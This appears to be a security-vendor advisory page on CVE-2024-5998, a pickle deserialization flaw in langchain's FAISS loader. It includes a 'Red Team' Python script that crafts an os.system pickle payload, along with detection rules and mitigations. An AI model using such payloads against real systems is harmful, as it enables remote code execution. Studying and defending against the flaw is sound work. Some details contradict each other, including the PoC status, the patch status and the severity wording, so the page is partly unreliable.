☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.2 🐛 CWE-502
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-5998

CVE-2024-5998 Insecure Deserialization in Langchain-ai
📅 PUBLISHED: 2024-09-17 11:50 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
9.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.2
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-5998 is a critical deserialization vulnerability in the FAISS.deserialize_from_bytes function of the langchain-ai/langchain Python library. The flaw allows an attacker to supply a malicious pickle payload that, when deserialized, can execute arbitrary operating system commands via os.system. This vulnerability affects the latest version of the product, and no official patch has been released at the time of analysis. The CVSS score is 5.2 (Medium), but the potential impact is high due to the ability to achieve remote code execution in environments where untrusted data is processed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is in the PyPI package langchain. Organizations using langchain in their AI/LLM pipelines must immediately assess their exposure. The attack vector is through the FAISS.deserialize_from_bytes function, which is commonly used to load vector stores from serialized data. If an attacker can inject a malicious pickle blob into this function, they can achieve arbitrary code execution. The supply chain risk is elevated because langchain is a widely used framework, and many downstream applications may implicitly trust serialized data from external sources.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The exploit does not cross trust boundaries.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited data modification possible.
  • Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium (5.2) – However, the ability to execute arbitrary commands makes this a high-priority issue in practice.

Deep Dive & Mechanics

The vulnerability resides in the FAISS.deserialize_from_bytes function, which uses Python's pickle.loads() to deserialize data. Pickle is inherently unsafe when used with untrusted data because it can execute arbitrary Python code during deserialization. An attacker can craft a pickle payload that, when loaded, executes os.system() with a command of their choice.

Attack Flow:

  1. Attacker creates a malicious pickle payload that contains a __reduce__ method returning (os.system, ("command",)).
  2. The payload is sent to the target application via any input vector that eventually calls FAISS.deserialize_from_bytes.
  3. The application calls pickle.loads() on the attacker-controlled data.
  4. The pickle deserialization process executes the __reduce__ method, running the attacker's command.

Root Cause: The use of pickle.loads() on untrusted data without any sanitization or validation.

Vulnerable vs. Patched Code

Vulnerable Code (langchain):

# In FAISS vector store implementation
@classmethod
def deserialize_from_bytes(cls, serialized: bytes) -> "FAISS":
    # Directly deserializes untrusted pickle data
    return pickle.loads(serialized)

Patched Code (Hypothetical):

# Secure alternative using JSON or safe serialization
import json
@classmethod
def deserialize_from_bytes(cls, serialized: bytes) -> "FAISS":
    # Use a safe serialization format
    data = json.loads(serialized)
    # Reconstruct FAISS object from data
    ...

Note: No official patch is available. The recommended mitigation is to avoid using FAISS.deserialize_from_bytes with untrusted data or to implement a custom safe deserialization wrapper.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('echo "PWNED" > /tmp/pwned.txt',))

# Generate malicious pickle payload
payload = pickle.dumps(Exploit())

# Save to file for delivery
with open('malicious.bin', 'wb') as f:
    f.write(payload)

print("Malicious pickle payload generated: malicious.bin")

Usage:

  1. Generate the payload using the above script.
  2. Deliver the malicious.bin file to the target application via any input vector that calls FAISS.deserialize_from_bytes.
  3. The command echo "PWNED" > /tmp/pwned.txt will be executed on the target system.

Lab Setup:

  • Target: Python 3.x with langchain installed.
  • Attack: Send the malicious pickle blob to the vulnerable endpoint.

Blue Team

Detection:

  • Monitor for calls to pickle.loads() in Python applications, especially in langchain contexts.
  • Use runtime security tools to detect anomalous os.system or subprocess calls.
  • Implement network segmentation to limit exposure of vector store endpoints.

Honeypot:

  • Deploy a fake FAISS.deserialize_from_bytes endpoint that logs all incoming data and alerts on pickle payloads.

Indicators of Compromise (IOCs)

  • Network: Unusual pickle binary data in HTTP requests or message queues.
  • File System: Presence of malicious.bin or similar files.
  • Process: Unexpected os.system or subprocess calls from Python processes.
  • Logs: Entries showing pickle.loads being called with large or suspicious byte strings.

Detection Engineering

YARA Rule

rule CVE_2024_5998_Pickle_Exploit {
    meta:
        description = "Detects malicious pickle payloads targeting CVE-2024-5998"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-5998"
    strings:
        $pickle_magic = { 80 04 95 }  // Python pickle protocol 4 magic bytes
        $os_system = "os.system" ascii wide
        $reduce = "__reduce__" ascii wide
    condition:
        $pickle_magic and ($os_system or $reduce)
}

Sigma Rule

title: CVE-2024-5998 Pickle Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-5998 via pickle deserialization
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains: 'pickle.loads'
    condition: selection
falsepositives:
    - Legitimate use of pickle.loads in trusted environments
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2024-5998 Pickle Deserialization Attempt"; flow:to_server; content:"|80 04 95|"; depth:3; content:"os.system"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Do not use FAISS.deserialize_from_bytes with untrusted data. If possible, switch to a safe serialization format like JSON or Protocol Buffers.
  2. Short-term: Implement a wrapper that validates the pickle payload before deserialization (e.g., using pickle.Unpickler with a restricted find_class method).
  3. Long-term: Wait for an official patch from langchain-ai. Monitor the GitHub repository for updates.
  4. Network: Restrict access to endpoints that use FAISS.deserialize_from_bytes to trusted IPs only.
  5. Monitoring: Deploy the YARA, Sigma, and Suricata rules provided above to detect exploitation attempts.

Valters IT – Securing the digital frontier.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-5998/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.